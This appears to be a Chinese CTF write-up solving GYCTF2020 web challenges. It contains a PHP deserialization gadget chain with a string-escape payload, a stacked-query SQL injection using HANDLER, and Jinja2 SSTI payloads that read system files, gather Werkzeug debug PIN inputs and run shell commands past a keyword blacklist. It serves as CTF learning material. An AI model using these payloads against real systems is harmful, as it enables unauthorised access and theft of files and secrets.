GYCTF2020
[GYCTF2020]Easyphp
一道代审的好题!
一个管理系统的登录页面,目录扫描,www.zip源码泄露,那么开始代码审计!
index.php
<?php
require_once "lib.php";if(isset($_GET['action'])){require_once(__DIR__."/".$_GET['action'].".php");
}
else{if($_SESSION['login']==1){echo "<script>window.location.href='./index.php?action=update'</script>";}else{echo "<script>window.location.href='./index.php?action=login'</script>";}
}
?>
一个通过action进行包含当前目录下的文件,由于__DIR__/的出现导致难以成为文件包含漏洞!
login.php
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center><form action="login.php" method="post" style="margin-top: 300"><h2>百万前端的用户信息管理系统</h2><h3>半成品系统 留后门的程序员已经跑路</h3><input type="text" name="username" placeholder="UserName" required><br><input type="password" style="margin-top: 20" name="password" placeholder="password" required><br><button style="margin-top:20;" type="submit">登录</button><br><img src='img/1.jpg'>大家记得做好防护</img><br><br>
<?php
$user=new user();
if(isset($_POST['username'])){if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){die("<br>Damn you, hacker!");}if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){die("Damn you, hacker!");}$user->login();
}
?></form>
</center>
主要有个类的实例化,创建了一个对象,且最后调用了login()方法!然后就是做了防sql注入(基本上注入有点难)
update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){require_once("flag.php");echo $flag;
}?>
同样调用了update()方法!但是只要登录成功,即$_SESSION['login']===1就能拿flag!
所以至此我们的思维焦点就是放在3个点:
1,login.php的方法调用
2,update.php的方法调用
3,如何$_SESSION['login']===1
lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm);
}
class User
{public $id;public $age=null;public $nickname=null;public function login() {if(isset($_POST['username'])&&isset($_POST['password'])){$mysqli=new dbCtrl();$this->id=$mysqli->login('select id,password from user where username=?');if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好!".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}}
}public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}public function __destruct(){return file_get_contents($this->nickname);//危}public function __toString(){$this->nickname->update($this->age);return "0-0";}
}
class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age=$age;$this->nickname=$nickname;}public function __call($name,$argument){echo $this->CtrlCase->login($argument[0]);}
}
Class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo=unserialize($newInfo);$upDate=new dbCtrl();}public function __destruct(){echo $this->sql;}
}
class dbCtrl
{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){$this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败,错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}$_SESSION['token']=$this->name;return $idResult;}public function update($sql){//还没来得及写}
}
想要通过login.php使得$_SESSION['login']=1就只有下面这种可能
if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好!".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}
即这个必须返回true
public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败,错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}$_SESSION['token']=$this->name;return $idResult;}
此时的查询语句是select id,password from user where username=?
这里没有注入可能,具体参考我的另一篇文章:从ctf引发对with rollup语句的思考-CSDN博客
那么只能看看update.php里面对象对方法的调用了
public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}
很明显就不管其他的,$Info=unserialize($this->getNewinfo());就这点,反序列化的内容我们可以控制,那不就是反序列化漏洞了嘛,如果可以打通链子的话!其他的都不用去看
找链子:UpdateHelper:__destruct方法-->User的__toString-->Info的__call方法-->dbCtrl的login
关键在这个:dbCtrl的login,我们要用它干嘛呢?
$_SESSION['token']=$this->name;就是这个,我们让它等于admin!
怎么做?函数接受的参数$sql可控,我们让它select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?那么这样并控制了返回的id的password(1的md5值)
exp:
<?php
class User
{public $age=null;public $nickname=null;public function __construct(){$this->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';$this->nickname=new Info();}
}class Info{public $CtrlCase;public function __construct(){$this->CtrlCase=new dbCtrl();}
}
Class UpdateHelper{public $sql;public function __construct(){$this->sql=new User();}
}
class dbCtrl
{public $name='admin';public $password='1';
}
$a = new UpdateHelper();
echo serialize($a);
?>
这么去触发这个链子?
我们反序列化的其实是这个类
class Info{public $age=1;public $nickname='aaa';public $CtrlCase;
}
但是我们可以控制其中的两个属性
我们对其进行字符串增加逃逸
明确要逃逸的字符:
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}
经计算:264个,那么就是52个*2个load那么payload就是:
update.php
post:
age=1&nickname=****************************************************loadload";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}
这么一搞,$_SESSION['token']==‘admin'。
然后在login.php页面用户名输入admin,那么肯定会返回id和password,就会进入到
if ($this->token=='admin') {return $idResult;
}
那么就可以拿到flag!
总结
先是一个虚假的文件包含,利用不了!然后慢慢有序地审出个反序列化!那么就是找链子,之后就是想如何触发!值得深思,代审的流程
[GYCTF2020]Blacklist
黑名单都出来了!
堆叠呗!
?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;%23
handler用于生成一个句柄(间接指针)
[GYCTF2020]FlaskApp
在解密的地方报错出部分源码和python解释器的位置
@app.route('/decode',methods=['POST','GET'])def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 : {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res = render_template_string(tmp)flash( res )
很明显是一个ssti
由于要加密和解密,懒得一步步去测,干脆用个万能点的
控制块 {%%} 同样也是渲染,可以声明变量,也可以执行语句
{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{%endif %}{%endfor %}
把源码搞到
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)class NameForm(FlaskForm):text = StringField('BASE64加密',validators= [DataRequired()])submit = SubmitField('提交')
class NameForm1(FlaskForm):text = StringField('BASE64解密',validators= [DataRequired()])submit = SubmitField('提交')def waf(str):black_list = ["flag","os","system","popen","import","eval","chr","request","subprocess","commands","socket","hex","base64","*","?"]for x in black_list :if x in str.lower() :return 1@app.route('/hint',methods=['GET'])
def hint():txt = "失败乃成功之母!!"return render_template("hint.html",txt = txt)@app.route('/',methods=['POST','GET'])
def encode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64encode(text.encode())tmp = "结果 :{0}".format(str(text_decode.decode()))res = render_template_string(tmp)flash(tmp)return redirect(url_for('encode'))else :text = ""form = NameForm(text)return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")@app.route('/decode',methods=['POST','GET'])
def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 : {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res = render_template_string(tmp)flash( res )return redirect(url_for('decode'))else :text = ""form = NameForm1(text)return render_template("index.html",form = form, method = "解密" , img = "flask1.png")@app.route('/<name>',methods=['GET'])
def not_found(name):return render_template("404.html",name = name)if __name__ == '__main__':app.run(host="0.0.0.0", port=5000, debug=True)
black_list = ["flag","os","system","popen","import","eval","chr","request","subprocess","commands","socket","hex","base64","*","?"]就过滤了这些玩意直接使用拼接绕过!
payload:
{% for c in x.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls /').read()}}{% endif %}{% endfor %}{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{%endif %}{%endfor %}
拿到flag!!!
讲讲第二种方法:
为什么会报错?其实是一个debug的页面,也就是说我们把pin值破解就可以拿到shell!
破解pin码:
username当前程序的用户名,通过/etc/passwd可以获取
modname,默认是flask.app
当前对象名称 默认是Flask
flask包内的app.py的绝对路径,刚刚报错出来了
Mac地址,通过/sys/class/net/eth0/address获取
机器码:这个分docker机和非docker机器
{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read()}}{%endif %}{%endfor %}
{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read()}}{%endif %}{%endfor %}
{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/etc/machine-id','r').read()}}{%endif %}{%endfor %}
{%for c in x.__class__.__base__.__subclasses__() %} {%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read()}}{%endif %}{%endfor %}
后面没啥说的了!
[GYCTF2020]Ezsqli
根据页面的回显发现可以打盲注,但是information被ban了
参考前面写的一篇文章:从information被ban到无列名注入-CSDN博客
这题我在文章里面也写了!